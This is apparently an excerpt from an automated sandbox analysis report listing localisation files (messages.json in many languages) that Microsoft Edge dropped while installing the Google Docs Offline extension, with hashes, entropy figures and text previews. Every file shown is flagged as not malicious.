Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1772_2116842397\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

